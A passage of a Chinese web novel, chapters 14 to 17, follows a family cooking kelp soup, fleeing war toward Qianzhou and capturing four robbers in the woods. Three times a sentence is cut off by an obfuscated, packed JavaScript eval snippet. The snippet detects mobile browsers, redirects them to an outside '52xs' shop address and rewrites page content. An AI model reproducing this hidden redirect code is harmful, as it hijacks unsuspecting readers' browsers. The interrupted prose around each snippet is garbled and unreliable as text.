“全要?”小贩有些不可置信,他觉得一定是自己的耳朵听错了,他又问了一遍,得到岑嫣肯定的答复之后,他才放下心来。 小贩用秤称了两边担子的海带约莫四十斤,总计六百文钱,岑嫣直接从荷包里掏钱,把钱给付了。 从小贩拿到钱的那一刻起,他脸上就挂上了欣喜若狂的神情,他道:“客官可需要我帮忙送上门?” 岑嫣看了看担子上的东西,感觉确实有些多了,便让小贩跟上,她们采买的东西也快拿不住了,要拿去镇口的牛车上放。 董承志此刻正蹲在地上抽旱烟,忽的,他见到儿媳妇带着一个小贩过来,他立马站起身。 “嫣娘,你这是买了什么啊?”他看着黑褐色的条状物,有些不解,这东西是啥?儿媳妇怎么买了这么个东西? “是一种菜,可用水泡发,方便携带,味道也极不错。” “哦。”董承志了然,也不多问了,既然这菜方便携带,带着到路上去吃倒是方便,果然还是读书人懂得多。 身后的小贩自然也听到两人的对话,他想:还得是懂行的人才会买这东西,只是懂行的人少啊,以后他还是不卖这个了,卖贝壳还挺好,海边一捡,那就是无本的买卖。 小贩临走之前,还送了几块贝壳给岑嫣和吴文兰,小姑娘就喜欢这种多姿多彩又精致秀气的东西,平日里摆着看就挺不错。 14. 第 14 章 晋江文学城首发 “这海带真的好吃吗?” 许慧从未见过海带,望着木盆里泡的黑绿黑绿的海带,有些好奇。 岑嫣把董仲清刚去溪边洗好的猪脚放到砧板上,用砍骨头的刀把猪脚跺成小块,才把猪脚放入漏斗状的锅中,开始熬煮。 “娘,您就等着吃吧。之前我在家时,吃过这海带做的汤,那味道鲜美极了,再加上今日买回来的猪脚一起炖,必定能让您连舌头都咬掉。” “行,既然你这般说了,我们就等着你给我们做好吃的,你只管吩咐我们给你打下手。” 其实,只要是肉做的吃食,味道就极不错,何况加上带有海鲜味道的东西? 炉灶里的火焰升腾,燃烧的更旺,这次估计就是董家离开前最丰盛的一顿餐食。 随着时间的流逝,锅里的水已经滚开,猪蹄肉因着高温而变得发白许多。岑嫣撇去锅沿水面的浮沫,才把煮过一遍的猪脚肉捞进木盆里,用凉水清洗。等到清洗过一遍之后,她又把猪蹄肉放入锅中,放入凉水姜片等物熬煮,盖上木质锅盖。 这时候的岑嫣也有空闲来把海带撕成小块,就在这时,董繁枝和吴文兰也带着一篮子洗好的菜进屋。 她们见到岑嫣在处理海带,连忙抢着把海带处理了。 “嫂嫂,这些小事就让我来做吧。” “姐姐,你真的心灵手巧。”吴文兰由衷地夸岑嫣,她在家的时候,其实厨艺一般。也因为这事,常常被母亲训斥,说她以后万一嫁了人,那可怎么得了? 她当时就在想,她读了书,有学识,人生不应该只追求嫁给别人,做一个别人眼中的好媳妇。她也可以像男子一般,追求外面广阔的天地,甚至独立的生活。 想到这里,她看了岑嫣一眼,心道:像这个姐姐这般,倒也不错,她会做那么多的吃食,她竟也想跟着学。 岑嫣并不知道吴文兰的心思,哪怕她知道,恐怕也会无奈笑笑,岑嫣沦落到嫁人,那也是迫不得已,并不能完全主宰命运。 她现在能生活的那么好,不过是家中的的公婆和善,丈夫关心,小叔子听话,小姑子乖巧罢了。 岑嫣现下又出了厨房的门,房子旁边的枸杞树上掐嫩芽,枸杞树丛靠近溪水边,长得也格外脆嫩。旁边的溪水叮铃叮铃地,倒是与这周边的景色相辅相成,构成一幅画。 她顺手就在溪边把枸杞芽洗了,随后走进院子,就看到许慧往烤炉里加木屑,整个院子都烟熏火燎的,格外呛人。 既然是要走远路,家里的牲畜自然不能赶着去的,董家人就想到把家禽都杀了,制成肉干,倒是便宜许多,在路上也能吃上一些荤腥。 男人们则在屋子里收拾东西,把东西码放清楚,就等着到时候直接放上车。 除去罗家抵押的牛车,昨日董伯年又去集市上买了一头牛,配上家里本来就有的推车,改装一番就能增加一辆牛车。 董承志从前也跟在木工旁边瞧过一些门道,他便负责改造推车。 看着一家人都在努力,为离去做准备,岑嫣会心一笑,直接往厨房走去。 吴文兰此时正在给炉灶加柴火,看到岑嫣进来,忙问:“姐姐,你们这里也爱吃枸杞嫩芽啊?” “嗯,我也是嫁到这里才知道枸杞嫩芽能吃,并且味道还极好。” “这枸杞芽有些苦,我从前不怎么爱吃。”吴文兰在家时,家里的父亲总是喜欢去摘一大把,让母亲用鸡蛋煮汤。枸杞煮蛋汤,那汤会变成淡淡的黑色。 “苦吗?”岑嫣淡淡地笑了,又继续道:“我倒是不觉得呢,许是从前吃过更苦的东西了。” 其实,她逃难路上,就连路边随便一把野草都吃过。可以说,她那次逃难把一辈子不曾吃过的苦都吃过了,也把一辈子不曾流过的泪水也流了个干净。 自那以后,她就明白,哭泣并不能解决问题,只是能够让人宣泄情绪罢了。等到情绪宣泄之后,她还要走,还要向前。 掀起锅盖,岑嫣用锅铲划了一下猪蹄肉,发现肉已经开始软烂。她这才从旁边的木盆捞起海带加进锅中,她的动作很快,双手抓了几下,盆里的海带就捞干净了。 海带放入锅中只需要煮一小会儿,锅中的汤就变得萤白,格外好看,就连散发出去的味道也很香。 原先整个院子都是烟熏火燎的味道,有这海带汤的加入,竟也觉得那烟熏味儿不那么浓郁了。 更有甚者,直接跑进厨房来看。 “嫂嫂,这就是你做的海带猪蹄汤吗?真香啊!”说着,董仲清定定地盯着锅中的汤,仿佛下一秒,他就能扑上去,连汤带锅给吞掉。 岑嫣看着他激动的样子,不禁摇了摇头,笑道:“正好你来了,我要把这菜舀出来,你帮我把菜端到堂屋桌子上去。” “得嘞!” 董仲清觉得,自从嫂嫂嫁到他们家之后,他家的伙食都变好了。哪怕是极素的菜,嫂嫂都能做出不同的滋味来。他都觉得自己最近吃的壮了许多,也格外有力气些。 看着董仲清伸手端海带炖猪蹄,岑嫣就提醒:“小心些,用干抹布端,别烫着。” “哎!”董仲清蹑手蹑脚地把汤端出去,生怕一个不察,菜就真的洒了,这可是他今夜的主食呢。 岑嫣看着对方出了门,又迅速把枸杞嫩芽放入锅中跟刚才剩下的底汤一起煮,炉火烧的旺,这菜也熟的快,底汤烫了一会儿,才把枸杞汤捞出。 之后,她又做一个清炒苋菜、一道闷豆角、一道青椒炒肉才,吴文兰和董繁枝则帮忙端菜。 菜都做好之后,一家子人聚在桌上吃饭。 “这汤看着真不错,娘子辛苦。”说着,董伯年给岑嫣舀了一碗海带汤。 他这举动,倒是让岑嫣羞红了脸,她快速抬眼看了桌上众人一眼又飞速低下头。 她夫君如此明目张胆给她舀汤,她心里暖洋洋的,自然高兴,只是当着这么多人的面,婆母会不会不高兴? 正想着这事呢,就听董承志道:“老婆子,我也给你舀一碗海带汤,儿媳妇做的这汤,真是不错。” 这一番举动,轻易就化解了岑嫣的尴尬。 只是许慧有些不高兴:“你这是什么意思?” 众人一听这话,心中一紧,媳妇(娘,婶子)这不会是生气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555202|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧? 就听她继续道:“我老吗?我才三十多岁,顶多算是徐娘半老,风韵犹存,哪里老了?” 董承志知道自己说错话,连忙打嘴,道:“哎哟,瞧我这张嘴,娘子,你快喝汤,再不喝就凉了。” “哼!”许慧这才端起汤碗喝起汤来,小样,别以为她不知道,他们都觉得她会吃媳妇的醋。 她怎么可能是那种人,儿媳妇是冲喜嫁进来的,麻利能干,还是那么可怜的身世,她心疼还来不及呢,怎么会为这些小事闹脾气,那可太小看她许慧了吧? 看到许慧喝汤,众人也跟着挨个舀汤喝起来,期间董承志还招呼吴文兰别客气,吴文兰连连应下。 喝过海带汤之后,众人才知道,世间竟然有如此鲜美的食物,又频繁舀起汤来,不多会儿,汤就见底了。 董仲清作为主力军,正在猛烈地干饭,连吃了好几大碗米饭,疯狂啃着骨头。他正是半大小子吃穷老子的时候,饭量比寻常人大了好几倍。 旁边的岑嫣看的心惊,若是小叔子撑死了,她是不是就成了间接杀人凶手?她刚想开口,就被婆母许慧抢先。 “你慢点吃,我们亏不了你,活像饿死鬼投胎似的。平日里我也没短你吃喝啊,你咋就刹不住呢?” 董仲清嘴里正含着饭,说话也嘟嘟囔囔个不停,若不是熟悉他,根本听不懂他在说什么。 “好...嫂...好...吃。” 岑嫣忍不住想扶额,她倒是想起当初在话本里看过的一句话:好吃不过饺子,好玩不过嫂子。 要是在寻常时候听到这句话,别人还不一定怎么想呢。 岑嫣真这般想呢,董伯年就瞪了董仲清一眼:“嘴里含着饭就不要说话,说的不清不楚的,没有一点礼仪体统。” 被大哥训斥,董仲清这才噤了声,他平时连爹娘都不怕,就怕这个兄长。无他,惟压迫尔。 第一,论武力值,兄长常年进山打猎,又比他年长几岁,他自然打不过。第二,论智力,兄长读过许多书,他讲道理更是说不过兄长。 岑嫣暗暗扯了下董伯年的衣角,那意思似乎在说:吃饭呢,怎么还教训人,吃饭都不安心。 感受到妻子的动静,董伯年侧身看妻子,微微勾唇,安抚地拍了拍妻子的手。 通过这次吃海带,众人也意识到海带的好处,既方便携带,还十分美味,这东西可是居家远行的必备食品。 若不是忙着收拾和处理家里的东西,许慧必定要让儿媳妇再去镇上找那个小贩买一些海带。 没过几日,董家人就踏上前往西南的旅程,吴文兰这时候也安下心,有人同她一起回家,也算有一个照应。 她都不知道自己当初是怎么跑那么远,甚至还能保证人身安全,她这次的归途可看到不少人吃人,人杀人的场景。那些打家劫舍,□□妇人的人到底是从哪里出来的?寻常太平日子也不见这些恶人啊? 难道说,战争还能把人性最深的恶放出来不成? 她摇了摇头,决定不再想这事,专心跟着董家人赶路。毕竟这路上的难民也有许多,她也要跟着保持警醒才是。 15. 第 15 章 晋江文学城首发,请认准正版! 马车咯吱咯吱地响,董家一行人走在官道上,官道两旁都是连绵不断的青山。 夏日的阳光灼烧着大地,岑嫣的脖子上冒了许多汗珠,她边走边从怀中掏出帕子,擦拭身上的汗水。 都说太平盛世,百姓安居乐业,如今这世道乱了,路上也似乎有些不安全。她们也赶了好几日的路程,看到道路上的许多乱民,这路上的乱民数量,可比她们在花溪村时遇到的多了好几倍。 路旁的耕田似乎也是受乱民的影响,早就被糟蹋得不成样子了。 行至一个路旁的简陋茶舍,董家人才停下来歇息片刻。 “刚才路旁的那些庄稼似乎都被人采过,唉!幸亏还要几个月,稻谷才能成熟,若是现在是稻谷成熟的季节,恐怕农人颗粒无收。” 作为一辈子都在地里刨食的董承志来说,耕田和庄稼就是他心中最重要的东西,看着别人的庄稼被祸害,他心里也有些不落忍。 就在这时,茶舍小二走过来,正好听到这话,立马就道:“可不是嘛,我的种的田地就在前面那一块,不知道是谁,把我种的菜全偷了。” 说着,那小二似乎又冒出了火,连着数了好几道路过难民的罪状。 例如有些人连夜守在庄稼旁边还被人殴打,现在还没下得了床。 听到小二说的,岑嫣就有些唏嘘,从前这些事,她也是见过的,只是她那时候离得远,根本不敢凑近。 “那你现在?”许慧有些好奇,在路边摆茶摊,怕是有些不安全,他不会是在这里看庄稼吧? 小二见许慧问,也不藏着,道:“客官,您还不知道吧?” “什么?”众人也被小二这花头给提起心思。 “最近路过的富裕人家还多哩,听说是北边打起来,各地叛军也跟着揭竿而起,这世道似乎要乱。” “啊?” 听到这话的众人有些害怕,但更多的还是庆幸,庆幸他们早早地就跑了。 只是,不知道前路会不会遇上叛军军队。 就在这时,岑嫣也好奇地往小二的方向打量:“那你如何还在这开店?” “我也想跑啊,但跑也需要本钱,我如今正在攒钱,等我再攒一段时日,就带着我老母亲离开。” 旁边桌子的其他客人也偷偷听着这边的动静,快速喝完茶水后迅速离开。 董家人一听这消息,也立马在茶舍这打了饮用水,随后快速离开。没办法,现在这形式,似乎有些严峻,他们得快些赶路才是。 走的越晚,就越不安全。 牛车又开始咯吱咯吱地动了起来,董繁枝年纪小,早上又跟着走了一早上的路,此时已经累的睁不开眼。 许慧见状,立马就让闺女到牛车上去休息,末了她又看了岑嫣一眼。 问道:“嫣娘,你要不要也去牛车上休息。” “娘,我不累,还能走。我看您比我们还辛苦些,还是您上牛车去坐会儿吧?” 婆媳两人互相推拒,还是董伯年插进来打断,婆媳两人这才停下争执。 “娘和嫣娘都上牛车去休息一会儿吧,你们女人身子娇弱些,比不得我们男人能吃苦。” 婆媳两人要是在平时听到这话,指定要给董伯年甩脸子,但是在如今这情况下,却感觉心里暖洋洋的。 就这样,两个女人坐上了牛车。 此时虽然骄阳火热,但吴文兰却感觉心里拔凉拔凉的:我就活该是那个吃苦的吗? 想了一会儿,她也就释然了,她又不是董家人,哪里能要求这要求那? 现在她吃的穿的,可都是董家婶子和她嫣姐姐做的,这可比她自己逃难要舒服得多。 就在这时,突然有一道不和谐的声音冒出来:“大哥,这文兰还没坐上车呢,虽然她跟个假小子似的,但还是个小女子呢。” 吴文兰不由地瞪了董仲清一眼:要你说? 她跟个假小子似的又怎么了?她活的开心,活的肆意!才不是那等只蹲在家里守着一亩三分地的妇人。她见过的大好河山,不同的民族文化,那可比寻常妇人的见识多多了。 她就是她!人生丰富多彩。 董伯年被这么一提醒,也反应过来,忙让吴文兰上了牛车。 路上,吴文兰又和车上的几个人聊起天来。 “我们那里全是山林,只要进了我们黔州境内,那可就安全了。要知道,我们那里的山可不像这里的山这般平顺,山与山之间的间距十分大。我们黔州的山林,那可真是山连着山,高山连着高山,平日里走路都是山。都说‘天无三日晴,地无三里平。’说的就是我们那。” 说起自家的家乡,吴文兰一脸得意。 要知道,当初朝廷想拿下他们黔州,也不敢同她们黔州人打。为啥,压根不熟悉山林地理,他们本地人熟悉,经常声东击西,消磨朝廷的兵力。哪怕朝廷人数多,照样拿他们没办法。 再说了,哪怕知道山林地形,那也不适合大规模的军队打,只适合小股兵力作战。 从前岑嫣也看过一些关于黔州的著作,例如夜郎自大这个词便是出自黔州的一个地方。 如今她听了吴文兰的话倒是安心许多,只要能到黔州,她们便能安全。 黔州实行各部族自治,对中原之地没有野心,朝廷的军队也不敢轻易往黔州下手。 赶了一个下午的路,天色也渐渐昏暗下来,岑嫣看着路边难民看她们的眼神越来越奇怪,似乎是在看猎物。 她盯着看了许久,发现天色越暗,遇到的妇人小孩就越来越少,男人越来越多,她有些忧心,忙叫董伯年。 “夫君!” 董伯年听到岑嫣在叫她,放慢了步子。 “怎么了?” “咱们找一个地方停下来休息吧?”说着,她又把自己的猜测说了出来。 董伯年自然也注意到路旁这些人,正琢磨着若是遇到什么危险,他们到时候该如何应对呢。 如今听岑嫣这么一说,倒是注意天色愈发暗沉。 “行!” 他望着不远处的大山,就跑过去找赶车的董承志说了情况,一家人便往山脚下走去。 山脚下有一条小溪,溪水并不算宽阔,但却有些深度,倒是正好取水。 此时的牛车也已经将货物卸下,劳累一日的两头牛儿立马到溪里喝起了水,喝完水之后,才去不远处的草地上吃草。 男人们生火煮饭,妇人们则在不远处挖野菜。 岑嫣发现路边有许多马兰头,立马就用小篮子采摘,这马兰头虽然有些老了,但拿去焯水之后再炒,倒是一道不错的菜肴。 正是逃难路上,能够吃上新鲜的蔬菜,已经算是一个不错的选择了。 忽的,她就听到不远处的吴文兰惊喜地叫她,她还道是发生了什么呢,忙提着篮子过去查看。 此时的天色已经开始渐渐暗淡下来了,岑嫣隐隐约约看到吴文兰指着的方向有几个挂着的小果子。 “这是?”岑嫣见过的果子有限,又加上这天色有些暗,并不敢确定这东西是什么。 “这是猕猴桃啊,有些开着花,绿白绿白的那个就是。”说着,吴文兰又指了指树上挂着的小果子,“那几个就是猕猴桃,这个季节还不是成熟的季节,可惜了。” 说着,吴文彩叹了一口气。 “可惜什么?” 背后突然冒出一个声音,再加上这幽暗的氛围,倒是将岑嫣和吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555203|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文兰吓了一跳。 两人回头一看,发现来人是董仲清,这才松了一口气。 “你突然冒出来,是想吓死人吗?”吴文兰白了他一眼,只可惜此刻有些昏暗,对方看不到。 “我哪里想吓人?不过是你们自己胆子小罢了。” 说着,董仲清望了一眼树上的果子,道:“你们想吃果子啊?” 他之前倒是经常跟着父亲和兄长在花溪村附近的山上逛,偶尔能摘些果子解解馋,他身上似乎有某种魔力,总是能找到山上的果子,猜到果子大概会生长在什么地方。 凭借这个本事,他之前还成了村里的孩子王。 “只是恰好碰到罢了,你怎么过来了?”岑嫣看了不远处在烧火煮饭的董伯年。 “哦,爹和大哥叫我来捡些柴火,先不和你们聊了。” 说着,董仲清就往林子里走去。 岑嫣看着林子里幽黑昏暗,不由有些担心,道:“你小心些,别走远!” “我知道,嫂嫂,你就放心吧!”董仲清头也不回地往林子里走,这时候,林子里不时传来一声声鸟叫的声音,听着有些渗人。 “咕咕,咕,咕咕。” “嘎嘎,噶,嘎嘎嘎。” “......” 有时还会传出一两声似婴儿哭的叫声,也不知道是什么动物。 采了一刻钟的野菜,已经有几个小篮子的野菜在篮子里,就着黑暗和刚刚散落下来的月光,岑嫣几人把野菜放在清凉柔软的溪水里洗干净。 洗完菜之后,岑嫣几人就往回走,菜篮里的菜沾着溪水,溪水一路上都在往草地上滴答滴地,形成一个个草地上的水珠,不远处的火焰照过来的光使得水珠也有了不同的颜色。 两个男人和董繁枝席地而坐,岑嫣并没有看到董仲清,忙问:“小叔呢?他还没回来?” 她连着刚才采洗野菜,可有一大会儿功夫了,这小叔子莫不是遇上了什么? 岑嫣心中升起一股子不安,眼皮也开始跳起来。 “这臭小子,刚才主动说去捡柴火,现在还没回来,也不知去哪了?” “我刚才和文兰在那边采野菜的时候,看到小叔子往林子里去了,也不知...” 她话还没有说完,董伯年就和董承志交代了两句,随后径直往林子里去。 岑嫣有点想哭,这林子里有什么?这小叔子现在还没回来,而夫君又跟着进去了,且不说林子里是否安全。 单单说如今在这里的只有公公一个男人,若是有什么人过来,她们岂不是束手就擒? 想到这里,岑嫣觉得自己不能坐以待毙,放下菜篮,左右巡视了一遍,看到堆柴火的那里有几根长度正好的木棍,若是真遇上什么,也能抵挡一阵。 此时的董繁枝才把烧好准备给众人喝的热水放凉,正准备给岑嫣端水过去,就看到岑嫣在柴火堆里翻找。 “嫂嫂?你丢东西了吗?” “没有啊,我在找防身的武器,到时候咱们人手一根。” “武器?”武器能在地上找吗?那不是铁匠铺里才有的武器吗? 董繁枝小小的眼睛里面有大大的疑惑。 不过,嫂嫂做什么,一定有她的道理。 董繁枝也不再纠结,端水上前:“嫂嫂,你先喝水,这武器等会再找。” 岑嫣回过头,看了一眼董繁枝,眉眼弯弯地接过:“枝娘真好,谢谢你。” “没有啦。” 之后,董繁枝等岑嫣喝完水,把碗收回,羞涩地跑开。 嫂嫂总是会夸她,她也很乐意与嫂嫂亲近,要是以后的二嫂也这样就好了。想着仍然不见人影的二哥,她就有些生气,二哥总是不着调,让人忧心。 16. 第 16 章 “娘子,好看吗?” 时间过去了许久,此时的天色已经完全变黑,山林中不时传来狼嚎声。 岑嫣望着远处高高的山林,莹白的脸上浮现淡淡的忧愁,她脑海中已经浮现了无数个不好的想法。 若是夫君和小叔子真出了什么事,她们今晚该怎么度过,以后该怎么往黔州走,这都需要慢慢想。 而且,这路上怕是也没有多太平。 在她想事情的间隙,饭菜的香味已经飘出老远。 “嫣娘,还在想呢?”说着,许慧将碗筷递给岑嫣,又继续道:“他们两兄弟会一定没事的,有大郎在,他们一定能平安归来。” 岑嫣接过碗筷,忽的想起,之前婆母说过夫君时常进山打猎,有时候会待在山里好几日不回家,现下只是去找小叔子,应当会没事,便放下心来,专心吃饭。 她们最初的几日,吃的是家里带的菜,为了追求赶路的速度,他们一日只吃两顿饭。 本就比较饿,今日难得吃到新鲜采摘的野菜,如今一吃,倒是别有风味。 腊肉混着马兰头特有的清香,美味极了,岑嫣连连扒饭。 吃过晚饭,董伯年兄弟两人还不见回来,哪怕董承志一个大男人都不由地有些担心起来。 “这兄弟两怎么回事?” “孩儿他爹,他们马上就能回来,且等着吧。以前大郎上山打猎的时候,咱们不都是这般在家等的。”许慧坚信,只要自家不说丧气话,孩子就一定能回来。 若是有人说坏话,那还真可能变成好的不灵,坏的灵。 忽的,董繁枝走到岑嫣面前,拉住岑嫣的衣角,道:“嫂嫂,我想如厕,你可不可以陪我,旁边很黑......” 岑嫣大不了董繁枝几岁,自从岑嫣嫁入董家,待人和善温柔,说话轻声细语,董繁枝就格外喜欢这个嫂嫂,自然也乐意亲近她。 “行,嫂嫂陪枝娘去。”岑嫣爬起身,拿起一根火把,就跟董繁枝往旁边的林子去。 吴文兰也连忙跟上,她现在倒不是特别想如厕,但是她不想等会再麻烦别人,自己顺带跟着就挺好。 董承志和许慧见状,忙嘱咐道:“小心些,别走太远了!看清脚下。” “哎。”三个女孩遥遥地应了一声。 夜里的林子有些渗人,没有光照到的地方格外黝黑,似乎要将人吞没。 三个女孩战战兢兢的解下裤子,迅速解决了人生大事,就见不远处的林中似乎有闪烁的光亮。 几人猫着身子,连忙把火把熄灭,观察着不远处的动静。 亮光渐渐凑近,岑嫣才发现,那人的身影有些熟悉。 “是大哥!”董繁枝已经惊喜地叫了出来。 只是,董伯年身后似乎有些不对。 “怎么好像有一群人?”还是连成串的... 三个女孩走上前,果然看到兄弟两人身后捆着四个男子。那四名男子虽穿着粗布补丁衣衫,但脸色却很好。 岑嫣心生疑惑,她从前见过的难民,可没有这般的,俱是脸色灰败,眼神或凄苦,或空洞。 而且,这几人看着还挺丰润的,这身衣裳跟他们的形貌比起来,显得有些格格不入。 “夫君,这是?” 董伯年安抚地看着小妻子,道:“嫣娘,咱们回去再说。” 回到他们休息的地方,四名男子又被结实地绑了一次。用董仲清的话来说,就是这几人的腰带不结实,要用捆牛的绳子才结实。 这时,董伯年才有空解释了这四个男子的事。原来董仲清原本是想去捡柴禾,忽的又想摘些果子,就往林子更深处走去,误打误撞碰到这几人在密谋抢走董家人的东西。 当时,这四名男子还说董家带着两头牛,带的家私细软一定不少,毕竟能买得起牛的人家也一定不是普通人家。 原本几人还担心对董家不好下手,没想到董家主动远离了人群,他们就更好下手了。 之后,董仲清自然悄悄逃离了现场,准备回去通风报信,没想到就遇上了来找他的兄长董伯年,他将事情一五一十地说了,兄弟两人便开始秘密谋划,逐个将几人击破。 听完这事的吴文兰满脸黑线,当初她就是用这个法子躲过来的,没想到如今却成了催命符。若是董仲清没有去摘果子,没有发现这几人的阴谋,怕是她真的要害董家人被一锅端了。 其实,吴文兰的这个法子很好,她当初能轻易地隐匿山林中,能大概率保证安全。 只是,董家如今带着两头牛和一大堆家私,自然不方便躲藏,容易被人盯上。 岑嫣自然注意到小姑娘突然情绪低落下来,她忙安慰道:“没事,其实这事跟你没关系。哪怕咱们跟在难民中央,照样会被更多人盯着,要是到时候咱们被顺手牵羊,咱们若是闹起来,难民仇富,到时候很可能引起众怒。” 言外之意,他们带着两头牛,到哪里都可能被人盯上,如今已经是最好的结果了。 旁边的董父董母原本还有些怨怪吴文兰出馊主意,他们家要是在难民堆里待着就安全了,如今被儿媳妇这么一点,倒是不再有太多想法。 四名男子也开始讨饶:“各位叔叔婶子,哥哥姐姐,弟弟妹妹,放过我们吧,反正我们也还没动过手,就放我们走,我们保证不再回来抢你们了。” 几人能屈能伸,立马就想跪下来,没想到绳子把几人粘连的太近,董仲清绑的又紧,几人直接摔成了一团。几人惨叫连连,附近林中的鸟雀都被惊吓飞起。 “聒噪!” 董仲清想找块布给几人缝上,但却舍不得布料,毕竟布也是农家人的奢侈品。他忽的灵光一闪,又撕开几人的衣衫,直接堵住几人的嘴。 吴文兰也跟着凑上前去,都怨这几人,若不是这几人,她刚才也不会自责难过许久。一想到刚才的事情,她就生气,也跟着撕开几名男人的衣衫。 两人撕的欢快极了,四名男子哀嚎,衣物止不住地变得破破烂烂,有一名男子竟然被吓得哭了起来。 “不至于吧?不过就撕你个衣裳,你当初要对咱们下手的时候,可不是这样!吴文兰嘟囔着,又开始撕衣裳。 这时,不远处看着两人玩闹的岑嫣感觉四名男子有些不对劲,盯着瞧了许久。 她这一举动,倒是让旁边坐着的董伯年有些吃味,他凑到岑嫣旁边,问道:“娘子,好看吗?” “好看?”岑嫣正盯的认真呢,一时间竟没反应过来,只顺着董伯年的话往下答了。 倏地,她看到不远处四名男子若隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555204|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若现的身子,才反应过来,董伯年是什么意思,她的脸登时就染上了石榴色。 嗔道:“你说什么呢!” “若不是好看,那娘子为何喜欢往那边瞧?”董伯年有些生气,他似乎没有让嫣娘瞧他脱光了之后的模样,嗯,以后可以让娘子瞧瞧。 他脱下衣裳,身上全是肌肉,摸起来也舒服。 娘子盯着那边看,一定是因为从前没有见过,所以才好奇。没事,他以后就勉为其难地让小妻子看个够。 只是,妻子年纪还有些小,年岁太小了,他都不忍心伤妻子,和妻子圆房,再等等。 岑嫣可不懂董伯年的弯弯绕绕,她突然就看到了对面男子身上似乎挂着什么东西,她急步走过去,伸出手掏了一下,果然拿到了一个小袋子。 “这是?”董仲清吴文兰见状,立马就开始对几人搜身。 可岑嫣的这一套动作被不远处的董伯年看在眼里,他没听清对面三人的话,心中一紧。 嫣娘看了别的男人,竟然觉得不够,现在竟然伸手过去摸? 一定是小弟和吴文兰把他娘子带坏了! 就在这时,许慧叫了他一声:“饭菜已经热好了,快过来吃!” 董伯年觉得,他现在吃不吃饭已经不重要了,她已经把气吃饱了,不吃也罢! “爹,娘!”董仲清手里抓着东西就往董承志和许慧的方向跑去。 “咋了!叫这么大声,我们没聋。” 这时,董仲清的热情不减:“我捡到银子和银票了!” 说着,董仲清又往四名男子的方向指了指:“诺,就是在他们身上捡的。” 若是几名男子此刻没有被堵住嘴巴,一定会跳起来大骂:“捡?这明明就是抢,这是非常不道德的行为!” 另外一名男子也难过地流下泪来,都说夜路走多了会摔,没想到他们从逃难开始就一路打劫过来的劫匪,却被别人给抢劫了,真是讽刺!早知道今日就不该盯上这几人,裤衩都没了。 岑嫣欣喜地拿着一张一百两的银票和两粒碎银子走到董伯年面前:“夫君,有银子!还有银票!” 此刻的光线有些暗,只是不远处的火焰映射出明灭的柔光,那道光倒映在少女的脸上,少女眉似远山含黛,眼似杏花,嘴唇微红,看着娇艳无比。 董伯年觉得,这就是他见过最美的女子,比从前抛弃过他的李春桃还好看。 不知何时起,那个瘦巴巴的女孩,渐渐变得丰腴起来,此刻已经是难得的美丽女子。小妻子不知从哪一天开始变的,他感觉她是突然就变成这样的。 “嗯。”董伯年的眼睛亮晶晶地,大概是旁边的焰火倒映到他眼中,所以才跟有星星似的。 岑嫣勾起嘴角:“夫君,还好我刚才眼尖,要不然也不能发现他们身上有银子的事。” 这也是她变相在跟董伯年解释刚才的误会。 “嗯,我家娘子真聪。”董伯年也跟着笑,娘子不是被带坏就好。 见董伯年并无异样,岑嫣这才开始回神叹息:“不知道这战乱了,这银票还有没有用,毕竟钱庄若是因为战乱倒闭了,那这东西就是废纸一张!” “没事,哪怕这银票不能用,咱们一家人平平安安的就好。” 17. 第 17 章 晋江文学城首发,请支持正版。 夜更深了,天上月朗星稀,皎洁的月光散落在地上。 一行人已经搭建好三角形的遮雨棚,用旁边的茅草铺好了一块地方,上面铺上之前就买好的羊毛毡,再盖上毯子,这样休息起来也不比家里差。 岑嫣躺在地上,一天的劳累和身体上的酸痛也消解不少。 忽的,她就看到正在火堆旁边值夜的董伯年,她想了想,白日里男人还要赶车走路,女人们稍微可以上车休息,这般一对比,确实是男人还累些。 不如自己去帮着值夜,若是到时候真有什么情况,她也可以把人都叫起来。 就这样,她直接走到火堆旁边:“夫君,要不你休息一会儿,我来值夜?” 董伯年从刚才开始,就一直在盯着岑嫣的动作,自然猜到她想干嘛,只是他身为一个男子,自然要先担负起保护家庭的重任,怎么能把这事压给妻子。 “不用,我熬得住,从前我可是进过山的,有时候夜里就得熬着才能等到猎物出来。” 山里的动物都十分警惕,大多数猎物都会在夜里觅食,他有时候布置的捕猎陷阱抓住了猎物不及时去收,猎物很可能会跑掉。熬大夜捕猎对他来说,那是家常便饭。哪怕不是捕猎的时候,他在家也会时常熬夜看书。 岑嫣闻言,神色凝重道:“夫君,这怎么能一样,从前那可是不需要走那么多的路,如今咱们每日要走那么多的路,你们男子不似我们女子能上车休息,身体受不住啊。” 说着,岑嫣嘴上催促,手上也没闲着,推了董伯年一把:“快去咱们用草铺的床上面休息,我来守夜。” 